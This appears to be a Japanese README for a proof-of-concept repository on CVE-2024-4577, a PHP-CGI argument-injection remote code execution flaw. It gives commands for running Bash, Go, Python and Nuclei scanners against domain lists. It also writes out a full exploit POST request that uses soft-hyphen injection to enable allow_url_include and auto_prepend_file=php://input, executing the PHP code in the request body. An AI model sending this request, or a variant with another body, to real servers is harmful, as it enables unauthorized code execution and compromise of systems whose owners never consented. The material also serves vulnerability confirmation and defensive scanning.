
bash、go、python、およびnucleiテンプレートで書かれたCVE-2024-4577用のPHP RCE PoC
このリポジトリには、PHP-CGI の引数インジェクションの問題である CVE-2024-4577 の脆弱性を確認するためのスクリプトが含まれています。用意されている Bash、Go、Python スクリプトを使用して、ドメインのリストに対してこの脆弱性をテストできます。また、Nuclei の YAML ファイルも公開しています。
Bash スクリプトを使用するには、次のコマンドを実行します:
./CVE-2024-4577.sh /path/to/domains-list
まず、Go スクリプトを CVE-2024-4577.go というファイルに保存します。Go スクリプトをビルドして実行するには:
Go スクリプトをバイナリにコンパイルします:
go build -o CVE-2024-4577 CVE-2024-4577.go
ドメインリストファイルを引数としてバイナリを実行します:
./CVE-2024-4577 /path/to/domains-list
まず、Python スクリプトを CVE-2024-4577.py というファイルに保存します。Python スクリプトを実行するには:
requests ライブラリがインストールされていることを確認します:
pip install requests
ドメインリストファイルを引数として Python スクリプトを実行します:
python CVE-2024-4577.py /path/to/domains-list
(任意) 脆弱なホストのみを出力したい場合:
python CVE-2024-4577.py /path/to/domains-list --quiet
脆弱性を手動でテストするには、次の POST リクエストを送信できます:
POST /test.hello?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1
Host: {{host}}
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36
Accept: */*
Content-Length: 23
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
<?php phpinfo(); ?>
また、脆弱なインスタンスをスキャンするための Nuclei テンプレートも作成しました。これは v3 レイアウトスキームを使用しており、ラボ環境でテスト済みです:
nuclei -t CVE-2024-4577.yaml -u <target-url>
ドメインのリストは、正しく読み取られるように http/https を先頭に付加する必要があります。
http://example.com
http://testsite.com
http://vulnerablesite.com
ドメインが脆弱であると検出された場合、出力は次のようになります:
http://example.com: Vulnerable
http://vulnerablesite.com: Vulnerable